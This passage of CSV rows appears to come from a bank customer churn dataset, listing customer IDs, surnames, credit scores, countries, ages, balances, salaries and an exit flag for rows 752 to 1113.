+752,15634245,Muecke,758,Germany,Female,47,9,95523.16,1,1,0,73294.48,0 +753,15677305,Hsieh,490,France,Female,35,7,107749.03,1,1,1,3937.37,0 +754,15661526,Anderson,815,Germany,Male,37,2,110777.26,2,1,0,2383.59,0 +755,15685997,Azubuike,838,Spain,Female,39,5,166733.92,2,1,0,14279.44,0 +756,15660101,Nnonso,803,France,Male,31,9,157120.86,2,1,0,141300.53,0 +757,15637979,Fuller,664,Germany,Female,36,2,127160.78,2,1,0,78140.75,0 +758,15815364,Ashley,736,Spain,Female,28,2,0,2,1,1,117431.1,0 +759,15647099,Ts'ui,633,France,Female,37,9,156091.97,1,1,0,72008.61,0 +760,15625944,Buccho,664,France,Male,58,5,98668.18,1,1,1,60887.58,0 +761,15583212,Chidozie,600,France,Female,43,5,134022.06,1,1,0,194764.83,0 +762,15582741,Maclean,693,France,Female,35,5,124151.09,1,1,0,88705.14,1 +763,15637876,Burns,663,Germany,Female,36,6,77253.5,1,0,0,35817.97,1 +764,15622750,Chu,742,Germany,Female,21,1,114292.48,1,1,0,31520.4,0 +765,15672056,Kenenna,710,Germany,Male,43,2,140080.32,3,1,1,157908.19,1 +766,15812351,Beluchi,710,Spain,Female,27,2,135277.96,1,1,0,142200.15,0 +767,15810864,Williamson,700,France,Female,82,2,0,2,0,1,182055.36,0 +768,15677921,Bobrov,720,Germany,Male,60,9,115920.62,2,0,0,157552.08,1 +769,15724296,Kerr,684,Spain,Male,41,2,119782.72,2,0,0,120284.67,0 +770,15685329,McKenzie,531,France,Female,63,1,114715.71,1,0,1,24506.95,1 +771,15584091,Pitts,742,Germany,Female,36,2,129748.54,2,0,0,47271.61,1 +772,15640442,Standish,717,France,Male,31,4,129722.57,1,0,0,41176.6,0 +773,15639314,Cartwright,589,France,Male,32,2,0,2,0,1,9468.64,0 +774,15685320,Johnstone,767,France,Male,36,3,139180.2,1,0,0,123880.19,0 +775,15789158,Nikitina,636,Germany,Male,49,6,113599.74,2,1,0,158887.09,1 +776,15752137,McElroy,648,France,Male,33,7,134944,1,1,1,117036.38,0 +777,15712551,Shen,622,Germany,Female,58,7,116922.25,1,1,0,120415.61,1 +778,15628936,Archer,692,Spain,Male,28,9,118945.09,1,0,0,16064.25,1 +779,15797227,Otutodilinna,754,France,Male,28,8,0,2,1,1,52615.62,0 +780,15769974,Shih,679,Spain,Female,35,8,119182.73,1,0,0,121210.09,0 +781,15737051,Denisov,639,France,Male,27,8,0,2,1,0,192247.35,0 +782,15585595,Owens,774,France,Female,28,1,71264.02,2,0,1,68759.57,0 +783,15654060,P'eng,517,France,Male,41,2,0,2,0,1,75937.47,0 +784,15745196,Verco,571,France,Female,35,8,0,2,0,0,84569.13,0 +785,15571221,Bergamaschi,747,Germany,Male,58,7,116313.57,1,1,1,190696.35,1 +786,15660155,Lorenzo,792,Spain,Male,36,5,92140.15,1,0,1,67468.67,0 +787,15605284,Outtrim,688,France,Male,26,1,0,2,1,1,104435.94,0 +788,15694366,Hou,714,Germany,Male,42,2,177640.09,1,0,1,47166.55,0 +789,15600739,Galkin,562,Spain,Female,35,0,0,2,1,0,119899.52,0 +790,15653253,Pagnotto,704,Spain,Male,48,8,167997.6,1,1,1,173498.45,0 +791,15763431,Echezonachukwu,698,France,Male,36,2,82275.35,2,1,1,93249.26,0 +792,15643696,Young,611,France,Male,49,3,0,2,1,1,142917.54,0 +793,15707473,Summers,850,Germany,Female,48,6,111962.99,1,1,0,111755.8,0 +794,15769504,Munro,743,Germany,Female,34,1,131736.88,1,1,1,108543.21,0 +795,15776807,Brennan,654,France,Male,29,1,0,1,1,0,180345.44,0 +796,15686870,Ball,761,Germany,Male,36,8,108239.11,2,0,0,99444.02,0 +797,15668747,Virgo,702,France,Female,46,9,98444.19,1,0,1,109563.28,0 +798,15766908,Trevisani,488,Germany,Male,32,3,114540.38,1,1,0,92568.07,0 +799,15570134,Padovano,683,France,Female,35,6,187530.66,2,1,1,37976.36,0 +800,15567367,Tao,601,Germany,Female,42,9,133636.16,1,0,1,103315.74,0 +801,15747542,Perez,605,France,Male,52,7,0,2,1,1,173952.5,0 +802,15762238,Fraser,671,Germany,Female,44,0,84745.03,2,0,1,34673.98,0 +803,15681554,Alley,614,Germany,Female,31,7,120599.38,2,1,1,46163.44,0 +804,15712825,Howells,511,Spain,Female,29,9,0,2,0,1,140676.98,0 +805,15640280,Cameron,850,France,Male,39,4,127771.35,2,0,1,151738.54,0 +806,15756026,Hooper,790,Spain,Female,46,9,0,1,0,0,14679.81,1 +807,15613319,Rice,793,France,Female,33,0,0,1,0,0,175544.02,0 +808,15798906,Cox,628,France,Male,69,5,0,2,1,1,181964.6,0 +809,15708917,Martin,598,Germany,Male,53,10,167772.96,1,1,1,136886.86,0 +810,15778463,Ikenna,657,France,Female,37,6,95845.6,1,1,0,122218.23,0 +811,15699430,Davide,618,France,Female,35,10,0,2,1,0,180439.75,0 +812,15649992,Alexander,681,Spain,Male,65,7,134714.7,2,0,1,190419.81,0 +813,15578980,Piazza,516,Spain,Female,33,3,0,2,1,1,58685.59,0 +814,15775306,Ni,421,Germany,Male,28,8,122384.22,3,1,1,89017.38,1 +815,15641655,Black,700,France,Female,26,2,0,2,0,0,50051.42,0 +816,15619708,Harker,745,France,Male,25,5,157993.15,2,1,0,146041.45,0 +817,15734565,Hughes,696,France,Male,29,8,0,2,1,0,191166.09,0 +818,15806438,Chiabuotu,580,Germany,Female,42,2,123331.36,1,0,0,103516.08,1 +819,15591969,Kuo,497,Spain,Male,27,9,75263.16,1,1,1,164825.04,0 +820,15747807,Gallagher,720,France,Female,43,6,137824.03,2,1,0,172557.77,0 +821,15596939,Calabresi,659,Germany,Male,36,4,132578.92,2,1,0,84320.94,0 +822,15716155,Shaw,841,France,Female,36,5,156021.31,1,0,0,122662.98,0 +823,15765311,Zhirov,642,Spain,Male,34,8,0,1,1,0,72085.1,0 +824,15757811,Lloyd,732,Spain,Female,69,9,137453.43,1,0,1,110932.24,1 +825,15603830,Palmer,600,Spain,Male,36,4,0,2,1,0,143635.36,0 +826,15660602,Ch'eng,464,Germany,Male,33,8,164284.72,2,1,1,3710.34,0 +827,15660535,Avent,680,France,Female,47,5,0,2,1,1,179843.33,0 +828,15666633,Huang,758,Spain,Male,56,1,0,2,1,1,10643.38,0 +829,15596914,Shaw,630,Germany,Female,31,2,112373.49,2,1,1,131167.98,0 +830,15639788,Yuan,577,France,Female,39,10,0,2,1,0,10553.31,0 +831,15695846,Hawkins,684,France,Female,34,6,0,2,1,1,130928.22,0 +832,15726234,Trentini,708,Spain,Female,41,5,0,1,0,1,157003.99,0 +833,15797964,Cameron,732,Germany,Female,29,1,154333.82,1,1,1,138527.56,0 +834,15625881,Koehler,634,Germany,Male,37,3,111432.77,2,1,1,167032.49,0 +835,15780628,Wu,633,France,Female,30,6,0,2,0,0,41642.29,0 +836,15575883,Manna,559,France,Male,34,2,137390.11,2,1,0,9677,0 +837,15585036,Okoli,694,Spain,Female,37,3,0,2,1,1,147012.22,0 +838,15589488,Ch'eng,686,Germany,Female,56,5,111642.08,1,1,1,80553.87,0 +839,15585888,Nwokezuike,553,Spain,Female,48,3,0,1,0,1,30730.95,1 +840,15727915,Artemiev,507,France,Male,36,4,83543.37,1,0,0,140134.43,0 +841,15707567,Esposito,732,Germany,Male,50,6,145338.76,1,0,0,91936.1,1 +842,15737792,Abbie,818,France,Female,31,1,186796.37,1,0,0,178252.63,0 +843,15599433,Fanucci,660,Germany,Male,35,8,58641.43,1,0,1,198674.08,0 +844,15672012,Jen,773,Spain,Female,41,5,0,1,1,0,28266.9,1 +845,15806983,Moss,640,France,Male,44,3,137148.68,1,1,0,92381.01,0 +846,15592222,Lo,505,France,Male,49,7,80001.23,1,0,0,135180.11,0 +847,15608968,Averyanov,714,Germany,Male,21,6,86402.52,2,0,0,27330.59,0 +848,15586959,Unaipon,468,France,Female,42,5,0,2,1,0,125305.34,0 +849,15646558,Clamp,611,Spain,Male,51,1,122874.74,1,1,1,149648.45,0 +850,15725811,Lim,705,France,Male,25,0,97544.29,1,0,1,59887.15,0 +851,15572265,Wu,646,Germany,Male,46,1,170826.55,2,1,0,45041.32,0 +852,15794048,Wan,667,Germany,Female,48,1,97133.92,2,0,0,113316.77,1 +853,15677610,Chambers,511,Germany,Female,41,8,153895.65,1,1,1,39087.42,0 +854,15745012,Pettit,653,France,Female,43,6,0,2,1,1,7330.59,0 +855,15601589,Baresi,675,France,Female,57,8,0,2,0,1,95463.29,0 +856,15686436,Newbery,523,Spain,Male,32,4,0,2,1,0,167848.02,0 +857,15693864,Iheanacho,567,Germany,Female,49,5,134956.02,1,1,0,93953.84,1 +858,15760550,Duncan,741,Spain,Male,39,7,143637.58,2,0,1,174227.66,0 +859,15686137,Barry,456,Spain,Male,32,9,147506.25,1,1,1,135399.21,0 +860,15809087,Landry,598,France,Male,64,1,0,2,1,0,195635.3,1 +861,15807663,McGregor,667,France,Male,43,8,190227.46,1,1,0,97508.04,1 +862,15809100,Nucci,548,France,Female,32,2,172448.77,1,1,0,188083.77,1 +863,15794916,Pirogov,725,France,Male,41,7,113980.21,1,1,1,116704.25,0 +864,15614215,Oguejiofor,717,France,Male,53,6,0,2,0,1,97614.87,0 +865,15805449,Ugochukwu,594,France,Male,38,4,0,2,0,0,186884.04,0 +866,15686983,Rohu,678,Germany,Female,25,10,76968.12,2,0,1,131501.72,0 +867,15808017,Cary,545,France,Male,38,1,88293.13,2,1,1,24302.95,0 +868,15756804,O'Loghlen,636,France,Female,48,1,170833.46,1,1,0,110510.28,1 +869,15646810,Quinn,603,Germany,Male,44,6,108122.39,2,1,0,108488.33,1 +870,15710424,Page,435,France,Male,36,4,0,1,1,1,197015.2,0 +871,15799422,Evans,535,France,Female,40,8,0,1,1,1,27689.77,0 +872,15692750,McGregor,629,Germany,Female,45,7,129818.39,3,1,0,9217.55,1 +873,15794549,Andrews,722,France,Female,35,2,163943.89,2,1,1,15068.18,0 +874,15803764,Stanley,561,France,Male,28,7,0,2,1,0,7797.01,0 +875,15674840,Chiazagomekpere,645,France,Female,38,5,101430.3,2,0,1,4400.32,0 +876,15653762,Chidiebele,501,France,Female,39,9,117301.66,1,0,0,182025.95,0 +877,15581229,Gregory,502,Germany,Female,32,1,173340.83,1,0,1,122763.95,0 +878,15800228,Bednall,652,Spain,Female,42,4,0,2,1,1,38152.01,0 +879,15656333,Jen,574,France,Female,33,3,134348.57,1,1,0,63163.99,0 +880,15697497,She,518,France,Female,45,9,105525.65,2,1,1,73418.29,0 +881,15585362,Simmons,749,France,Female,60,6,0,1,1,0,17978.68,1 +882,15571928,Fraser,679,France,Female,43,4,0,3,1,0,115136.51,1 +883,15785519,May,565,France,Male,36,6,106192.1,1,1,0,149575.59,0 +884,15743007,Seabrook,643,France,Female,45,4,45144.43,1,1,0,60917.24,1 +885,15777211,Herrera,515,France,Male,65,7,92113.61,1,1,1,142548.33,0 +886,15721935,Kincaid,521,France,Male,25,7,0,2,1,1,157878.67,0 +887,15591711,Sleeman,739,Spain,Male,38,0,128366.44,1,1,0,12796.43,0 +888,15625021,Hung,585,France,Male,42,2,0,2,1,1,18657.77,0 +889,15702968,Artemieva,733,Germany,Male,74,3,106545.53,1,1,1,134589.58,0 +890,15600462,Barwell,542,France,Female,43,8,145618.37,1,0,1,10350.74,0 +891,15768104,Wright,788,Spain,Male,37,8,141541.25,1,0,0,66013.27,0 +892,15780140,Bellucci,435,Germany,Male,32,2,57017.06,2,1,1,5907.11,0 +893,15585255,Moore,577,France,Male,42,9,0,1,1,0,74077.91,0 +894,15772781,Ball,703,France,Female,51,3,0,3,1,1,77294.56,1 +895,15669987,Sung,728,Germany,Female,35,8,125884.95,2,1,0,54359.02,1 +896,15697000,Mello,728,Germany,Male,32,5,61825.5,1,1,1,156124.93,0 +897,15733119,Mistry,718,France,Male,35,8,0,2,1,0,94820.85,0 +898,15782390,T'ien,621,France,Female,40,6,0,1,1,0,155155.25,0 +899,15654700,Fallaci,523,France,Female,40,2,102967.41,1,1,0,128702.1,1 +900,15632210,Hill,657,Germany,Male,25,2,171770.55,1,1,0,22745.5,0 +901,15642041,Burns,727,Germany,Male,40,1,93051.64,2,1,0,71865.31,1 +902,15709737,Hunter,643,France,Male,36,7,161064.64,2,0,1,84294.82,0 +903,15792388,Li,645,France,Female,48,7,90612.34,1,1,1,149139.13,0 +904,15786014,Ku,568,France,Male,28,5,145105.64,2,1,0,185489.11,0 +905,15794580,Ch'en,599,France,Male,58,4,0,1,0,0,176407.15,1 +906,15675964,Chukwukadibia,672,France,Female,45,9,0,1,1,1,92027.69,1 +907,15814275,Zikoranachidimma,685,France,Male,33,6,174912.72,1,1,1,43932.54,0 +908,15724848,Oluchukwu,516,France,Female,46,1,104947.72,1,1,0,115789.25,1 +909,15754713,Rivera,685,Spain,Male,31,10,135213.71,1,1,1,125777.28,0 +910,15693814,Niu,806,Spain,Male,25,7,0,2,1,0,18461.9,0 +911,15599660,Bennett,604,France,Male,36,6,116229.85,2,1,1,79633.38,0 +912,15746490,Wollstonecraft,648,Spain,Female,53,6,111201.41,1,1,1,121542.29,0 +913,15566091,Thomsen,545,Spain,Female,32,4,0,1,1,0,94739.2,0 +914,15655961,Palermo,756,Germany,Male,27,1,131899,1,1,0,93302.29,0 +915,15710404,Chinwendu,569,France,Male,35,10,124525.52,1,1,1,193793.78,0 +916,15775625,McKenzie,596,France,Male,47,6,0,1,1,0,74835.65,0 +917,15792328,James,475,France,Male,39,6,0,1,1,1,56999.9,1 +918,15719856,Lamb,646,France,Female,45,3,47134.75,1,1,1,57236.44,0 +919,15593773,Olejuru,784,Spain,Male,35,3,0,2,0,0,81483.64,0 +920,15733114,Hay,552,Spain,Male,45,9,0,2,1,0,26752.56,0 +921,15797748,Lu,729,France,Male,44,5,0,2,0,1,9200.54,0 +922,15743411,Chiawuotu,609,Spain,Male,61,1,0,1,1,0,22447.85,1 +923,15753337,Yeates,555,France,Male,51,5,0,3,1,0,189122.89,1 +924,15601026,Gallagher,572,Germany,Female,19,1,138657.08,1,1,1,16161.82,0 +925,15658485,Heath,785,France,Female,34,9,70302.48,1,1,1,68600.36,0 +926,15636731,Ts'ai,714,Germany,Female,36,1,101609.01,2,1,1,447.73,0 +927,15628303,Thurgood,738,Spain,Male,35,3,0,1,1,1,15650.73,0 +928,15633461,Pai,639,Germany,Male,38,5,130170.82,1,1,1,149599.62,0 +929,15677135,Lorenzo,520,Germany,Male,61,8,133802.29,2,1,1,90304.01,0 +930,15590876,Knupp,764,France,Female,24,7,106234.02,1,0,0,115676.38,0 +931,15790782,Baryshnikov,661,Spain,Male,39,6,132628.98,1,0,0,38812.67,0 +932,15700476,Azubuike,564,Germany,Male,41,9,103522.75,2,1,1,34338.21,0 +933,15634141,Shephard,708,Germany,Female,42,8,192390.52,2,1,0,823.36,0 +934,15737795,Scott,512,Spain,Male,36,1,0,1,0,1,135482.26,1 +935,15790299,Williamson,592,Spain,Male,37,9,0,3,1,1,10656.89,0 +936,15675316,Avdeeva,619,France,Female,38,3,0,2,0,1,116467.35,0 +937,15613630,Tang,775,France,Male,52,8,109922.61,1,1,1,96823.32,1 +938,15662100,Hsu,850,Germany,Female,44,5,128605.32,1,0,1,171096.2,0 +939,15668032,Buchanan,577,France,Female,37,4,0,1,1,1,79881.39,0 +940,15599289,Yeh,724,France,Female,37,10,68598.56,1,1,0,157862.82,0 +941,15754084,Palazzi,710,Spain,Male,35,1,106518.52,1,1,1,127951.81,0 +942,15676521,Y?an,696,France,Female,31,8,0,2,0,0,191074.11,0 +943,15804586,Lin,376,France,Female,46,6,0,1,1,0,157333.69,1 +944,15781465,Schofield,675,Germany,Female,29,8,121326.42,1,1,0,133457.52,0 +945,15729362,Lombardi,745,France,Male,36,8,67226.37,1,1,0,130789.6,0 +946,15709295,Wall,697,Spain,Female,25,5,82931.85,2,1,1,128373.88,0 +947,15745324,Milani,599,Spain,Female,39,4,0,1,1,0,194273.2,1 +948,15741336,Ejimofor,715,France,Female,38,5,118590.41,1,1,1,5684.17,1 +949,15783659,Blackburn,659,France,Male,67,4,145981.87,1,1,1,131043.2,0 +950,15620981,Wickham,684,France,Female,48,3,73309.38,1,0,0,21228.34,1 +951,15630328,Bird,635,France,Female,48,8,130796.33,2,1,1,43250.3,0 +952,15785899,Ch'en,789,Germany,Male,33,8,151607.56,1,1,0,4389.4,0 +953,15606149,Wood,571,Germany,Female,66,9,111577.01,1,0,1,189271.9,0 +954,15671139,Brizendine,694,Spain,Male,39,0,107042.74,1,1,1,102284.2,0 +955,15660429,Ch'in,665,Spain,Female,42,2,156371.61,2,0,1,156774.94,1 +956,15571002,Yusupov,706,France,Female,44,4,129605.99,1,0,0,69865.49,0 +957,15631681,Jibunoh,807,Spain,Female,43,0,0,2,0,1,85523.24,0 +958,15731522,Ts'ui,771,Spain,Female,67,8,0,2,1,1,51219.8,0 +959,15619529,Ndukaku,531,Spain,Male,27,8,132576.25,1,0,0,7222.92,0 +960,15628034,Wilder,629,France,Female,37,6,129101.3,1,1,1,23971.33,0 +961,15686164,Maclean,850,Germany,Female,31,1,108822.4,1,1,1,132173.31,0 +962,15582797,Ch'iu,685,Spain,Male,35,4,137948.51,1,1,0,113639.64,0 +963,15753831,Cox,642,Spain,Male,32,7,100433.8,1,1,1,39768.59,0 +964,15731815,Nepean,529,Spain,Male,63,4,96134.11,3,1,0,108732.96,1 +965,15580956,McNess,683,Germany,Female,43,4,115888.04,1,1,1,117349.19,1 +966,15602084,Coles,663,France,Female,42,5,124626.07,1,1,1,78004.5,0 +967,15589805,Benson,563,France,Female,34,6,139810.34,1,1,1,152417.79,0 +968,15720893,Gilbert,637,Spain,Female,34,9,0,2,0,0,26057.08,0 +969,15641009,Wilhelm,544,France,Male,37,3,84496.71,1,0,0,79972.09,0 +970,15605926,Sinclair,649,Germany,Male,70,9,116854.71,2,0,1,107125.79,0 +971,15805955,L?,638,France,Female,48,10,138333.03,1,1,1,47679.14,0 +972,15801488,Buckner,723,France,Male,25,3,0,2,1,1,134509.47,0 +973,15605918,Padovesi,635,Germany,Male,43,5,78992.75,2,0,0,153265.31,0 +974,15779711,Gray,750,Spain,Female,38,7,97257.41,2,0,1,179883.04,0 +975,15705620,Lu,730,France,Male,34,5,122453.37,2,1,0,138882.98,0 +976,15685357,Wright,750,Spain,Female,36,8,112940.07,1,0,1,9855.81,0 +977,15570060,Palerma,586,France,Female,43,8,132558.26,1,1,0,67046.83,1 +978,15582616,Y?an,520,France,Female,38,4,0,2,1,0,56388.63,0 +979,15799515,Wei,652,France,Female,48,8,133297.24,1,1,0,77764.37,0 +980,15642937,Padovesi,550,France,Female,46,7,0,2,1,0,130590.35,0 +981,15624729,Tsao,594,France,Male,27,0,197041.8,1,0,0,151912.49,0 +982,15566156,Franklin,749,Germany,Female,44,0,71497.79,2,0,0,151083.8,0 +983,15792360,Clark,668,France,Male,32,7,0,2,1,1,777.37,0 +984,15807008,McGregor,614,Germany,Female,35,6,128100.28,1,0,0,69454.24,1 +985,15704770,Pan,773,France,Male,25,1,124532.78,2,0,1,11723.57,0 +986,15756475,Kenniff,551,Germany,Male,31,9,82293.82,2,1,1,91565.25,0 +987,15655339,Spencer,566,France,Male,36,1,142120.91,1,1,0,79616.37,0 +988,15613749,Lees,569,Spain,Male,34,0,151839.26,1,1,0,102299.81,1 +989,15664521,David,659,Spain,Male,31,7,149620.88,2,1,1,104533.51,0 +990,15681206,Hsing,722,France,Female,49,3,168197.66,1,1,0,140765.57,1 +991,15745527,Burke,655,France,Male,37,5,93147,2,1,0,66214.13,0 +992,15806926,Watson,615,France,Female,35,2,97440.02,2,1,1,139816.1,0 +993,15724563,Hawkins,752,Germany,Female,42,3,65046.08,2,0,1,140139.28,0 +994,15782899,Ginn,661,Spain,Female,28,7,95357.49,1,0,0,102297.15,0 +995,15623521,Sozonov,838,Spain,Male,43,9,123105.88,2,1,0,145765.83,0 +996,15810218,Sun,610,Spain,Male,29,9,0,3,0,1,83912.24,0 +997,15645621,Hunter,811,Spain,Male,44,3,0,2,0,1,78439.73,0 +998,15608114,Manfrin,587,Spain,Male,62,7,121286.27,1,0,1,6776.92,0 +999,15659557,Artamonova,811,Germany,Female,28,4,167738.82,2,1,1,9903.42,0 +1000,15787772,Hansen,759,France,Female,38,1,104091.29,1,0,0,91561.91,0 +1001,15691111,Pai,648,Germany,Female,42,8,121980.56,2,1,0,4027.02,0 +1002,15592089,Larsen,788,France,Female,43,10,0,2,1,1,116111.51,0 +1003,15633897,Owen,725,Germany,Male,39,1,50880.98,2,1,1,184023.54,0 +1004,15701301,Murphy,646,France,Female,42,3,175159.9,2,0,0,67124.48,1 +1005,15723685,Ekechukwu,601,Germany,Female,26,7,105514.69,2,1,0,50070.59,0 +1006,15701602,Ayers,521,Germany,Male,52,5,116497.31,3,0,0,53793.1,1 +1007,15739189,Johnson,561,Spain,Female,33,6,0,2,1,0,45261.47,0 +1008,15573086,Millar,564,France,Male,42,7,99824.45,1,1,1,36721.4,0 +1009,15569050,Farrell,444,France,Male,45,6,0,1,1,0,130009.85,1 +1010,15750765,Sanders,650,Spain,Male,71,0,0,1,1,1,175380.77,0 +1011,15799811,Herrera,724,France,Male,40,10,0,1,1,0,127847.25,1 +1012,15698442,Eberechukwu,719,Spain,Male,35,3,122964.88,1,1,1,138231.7,0 +1013,15655274,Bardin,548,France,Female,29,4,0,2,0,1,48673.18,0 +1014,15603594,Nwankwo,635,Spain,Male,24,4,0,2,1,1,70668.77,0 +1015,15585961,Talbot,496,Spain,Female,43,3,0,2,0,1,199505.53,0 +1016,15686936,McGregor,676,France,Female,37,5,89634.69,1,1,1,169583.18,1 +1017,15770424,Onyeorulu,541,Germany,Male,40,7,95710.11,2,1,0,49063.42,0 +1018,15587451,Goold,778,Germany,Male,41,7,139706.31,1,1,0,63337.19,0 +1019,15602010,Zikoranaudodimma,850,Germany,Female,45,5,103909.86,1,1,0,60083.11,1 +1020,15600583,Garner,633,France,Male,31,1,0,1,1,0,48606.71,0 +1021,15654673,Onyinyechukwuka,625,France,Male,49,6,173434.9,1,1,0,165580.93,1 +1022,15717164,Genovese,485,Spain,Male,32,6,102238.01,2,1,1,194010.12,0 +1023,15765014,Mai,547,France,Female,48,1,179380.74,2,0,1,69263.1,0 +1024,15682639,Marshall,642,France,Male,32,3,0,2,1,1,88698.83,0 +1025,15729279,Naylor,718,France,Female,25,4,108691.95,1,1,0,63030.97,0 +1026,15759805,Pinto,582,France,Female,32,4,0,2,1,0,59668.81,0 +1027,15767864,Fulton,628,France,Male,33,6,0,2,0,0,184230.23,0 +1028,15769948,Palerma,737,Germany,Male,35,0,133377.8,1,0,1,64050.19,0 +1029,15686345,McCaffrey,828,Spain,Male,34,9,0,2,1,1,81853.98,0 +1030,15688071,Collins,609,Spain,Male,53,10,0,1,1,1,154642.91,0 +1031,15681174,Zuev,730,France,Male,39,1,116537.6,1,0,0,145679.6,0 +1032,15667521,Crawford,631,France,Female,22,3,0,2,0,0,30781.77,0 +1033,15750243,Genovese,830,Spain,Male,40,4,0,2,0,1,81622.52,0 +1034,15695475,Maclean,645,France,Male,29,1,130131.08,2,0,1,196474.35,0 +1035,15689176,Fabro,663,France,Male,46,3,0,2,0,1,176276.1,0 +1036,15652955,Price,678,Spain,Male,30,0,0,1,1,0,35113.08,0 +1037,15668958,Chatfield,521,France,Male,30,2,107316.09,1,1,0,64299.82,0 +1038,15631054,Volkova,625,France,Female,24,1,0,2,1,1,180969.55,0 +1039,15581479,Archer,523,France,Male,30,1,83181.29,1,1,1,138176.78,0 +1040,15577478,Ch'iu,714,France,Female,72,3,0,1,1,1,86733.61,0 +1041,15780870,McKay,580,Spain,Male,67,3,153946.14,1,1,1,7418.92,0 +1042,15692317,Craig,722,France,Male,30,5,0,2,1,0,166376.54,0 +1043,15593969,Abramovich,630,Spain,Female,39,7,135483.17,1,1,0,140881.2,1 +1044,15570417,Chien,579,France,Male,35,1,0,2,1,0,4460.2,0 +1045,15779059,Timms,670,France,Female,38,4,119624.54,2,1,1,110472.12,0 +1046,15785980,Williford,588,Spain,Male,34,6,121132.26,2,1,0,86460.28,0 +1047,15644200,Hamilton,807,Spain,Female,42,1,0,1,1,0,16500.66,1 +1048,15793949,Cheng,726,France,Female,48,4,0,1,1,0,114020.06,1 +1049,15645103,Su,812,Germany,Male,25,5,54817.55,1,1,0,131660.31,0 +1050,15705860,McKenzie,631,Germany,Male,40,3,107949.45,1,1,0,52449.62,1 +1051,15623828,Akobundu,682,France,Male,30,4,0,1,0,1,161465.31,0 +1052,15715003,Ko,625,Spain,Female,49,2,80816.45,1,1,1,20018.79,0 +1053,15623471,Marcelo,607,Germany,Male,38,3,98205.77,1,1,0,176318.27,0 +1054,15798348,Chukwuebuka,600,Spain,Female,50,6,94684.27,1,1,1,50488.91,0 +1055,15743016,MacDonald,602,Spain,Female,22,7,141604.76,1,1,0,30379.6,0 +1056,15769499,Lampungmeiua,545,Spain,Female,74,3,0,2,1,1,161326.73,0 +1057,15798521,Tai,675,Spain,Male,33,3,0,2,1,0,45348.08,0 +1058,15706534,Enyinnaya,581,France,Female,47,1,122949.14,1,0,0,180251.68,1 +1059,15706186,McKenzie,640,Germany,Male,33,8,81677.22,2,0,0,34925.56,0 +1060,15812197,Kline,850,France,Male,38,7,80293.98,1,0,0,126555.74,0 +1061,15650933,Ma,490,Spain,Female,48,8,155413.06,1,1,0,187921.3,0 +1062,15692991,Wood,710,Spain,Female,38,4,0,2,1,1,136390.88,0 +1063,15631189,Riggs,613,Germany,Male,38,9,67111.65,1,1,0,78566.64,1 +1064,15762198,Capon,812,France,Male,34,5,103818.43,1,1,1,166038.27,0 +1065,15699598,Smith,723,France,Female,20,4,0,2,1,1,140385.33,0 +1066,15692744,Davison,512,France,Male,36,4,152169.12,2,0,0,38629.3,1 +1067,15688963,Ingram,731,France,Female,52,10,0,1,1,1,24998.75,1 +1068,15599131,Dilke,650,Germany,Male,26,4,214346.96,2,1,0,128815.33,0 +1069,15680303,Gibson,594,France,Male,57,6,0,1,1,0,19376.56,1 +1070,15628674,Iadanza,844,France,Male,40,7,113348.14,1,1,0,31904.31,1 +1071,15648075,Hebert,686,Germany,Female,47,5,170935.94,1,1,0,173179.79,1 +1072,15586970,Pinto,695,Germany,Male,52,8,103023.26,1,1,1,22485.64,0 +1073,15625698,Dumetochukwu,624,Spain,Female,23,6,0,2,0,1,196668.51,0 +1074,15790497,Ross,503,Spain,Male,37,6,0,2,0,0,136506.86,0 +1075,15682618,Jamieson,535,France,Female,31,7,111855.04,2,1,1,36278.89,0 +1076,15762937,Chiganu,743,Germany,Female,32,6,140348.56,2,1,1,163254.39,0 +1077,15750929,Burgess,702,Spain,Male,39,8,0,2,1,0,99654.13,0 +1078,15729832,Cheng,658,France,Male,29,3,145512.84,1,1,0,20207.02,0 +1079,15633650,Woods,677,Germany,Female,41,8,146720.98,2,1,1,4195.84,0 +1080,15748856,Liang,664,France,Male,32,10,107209.73,1,1,1,112340.2,0 +1081,15589195,Bluett,766,Germany,Female,38,7,130933.74,1,0,1,2035.94,0 +1082,15699911,Chapman,461,Spain,Female,35,8,0,1,1,0,132295.95,0 +1083,15663438,Andrejew,688,Spain,Male,36,0,89772.3,1,1,0,177383.68,1 +1084,15692583,Udobata,678,France,Female,32,5,0,2,1,0,90284.47,0 +1085,15591257,Ejimofor,796,France,Male,24,8,0,2,1,0,61349.37,0 +1086,15646513,Spyer,803,France,Male,42,5,0,1,1,0,196466.83,1 +1087,15708063,Walker,712,France,Male,36,2,100749.5,3,0,0,70758.37,1 +1088,15696098,Palermo,498,France,Female,31,10,0,2,1,0,13892.57,0 +1089,15645517,Philip,850,Spain,Male,22,2,0,2,1,1,9684.52,0 +1090,15649744,Fallaci,628,France,Female,51,3,123981.31,2,1,1,40546.15,0 +1091,15604304,Perry,539,Germany,Female,34,4,91622.42,1,1,1,136603.42,0 +1092,15784092,Henderson,732,France,Male,36,7,126195.81,1,1,1,133172.48,0 +1093,15585198,Bergamaschi,715,France,Male,41,4,94267.9,1,0,1,152821.12,1 +1094,15624347,Fokine,651,France,Male,40,4,0,2,1,1,147715.83,0 +1095,15621687,Mackay,813,France,Male,34,0,0,2,1,0,43169.15,0 +1096,15689081,Wu,692,France,Male,29,4,0,1,1,0,76755.99,1 +1097,15813168,Maslova,756,Germany,Female,39,3,100717.85,3,1,1,73406.04,1 +1098,15604295,Wei,543,France,Male,36,6,0,2,1,0,176728.28,0 +1099,15724127,McLean,790,France,Female,26,4,141581.71,2,0,0,98309.27,0 +1100,15673055,Sung,494,Spain,Male,38,7,0,2,1,1,6203.66,0 +1101,15768201,Paterson,850,France,Female,39,2,148586.64,1,1,1,176791.27,0 +1102,15782219,Fanucci,703,Spain,Male,29,9,0,2,1,0,50679.48,0 +1103,15746410,Thompson,432,Spain,Male,38,7,0,2,1,0,150580.88,0 +1104,15780144,Tisdall,512,Germany,Female,32,2,123403.85,2,1,0,80120.19,0 +1105,15590476,Onochie,589,France,Male,28,7,0,2,1,0,151645.96,0 +1106,15624293,Mironova,514,France,Female,46,3,106511.85,1,1,0,55072.32,0 +1107,15618182,Ndubueze,678,France,Female,38,2,0,2,0,0,115068.99,0 +1108,15660316,Stephenson,420,Germany,Female,34,1,135549.9,1,0,0,149471.13,1 +1109,15678886,Golubev,679,Germany,Male,38,7,110555.37,2,1,0,46522.68,0 +1110,15616330,Liao,595,France,Male,31,4,0,2,1,0,189995.86,0 +1111,15592229,Mullan,713,France,Female,52,0,185891.54,1,1,1,46369.57,1 +1112,15798424,Glover,833,Germany,Male,59,1,130854.59,1,1,1,30722.52,1 +1113,15714750,Northey,690,France,Female,42,3,92578.14,2,0,0,70810.6,0 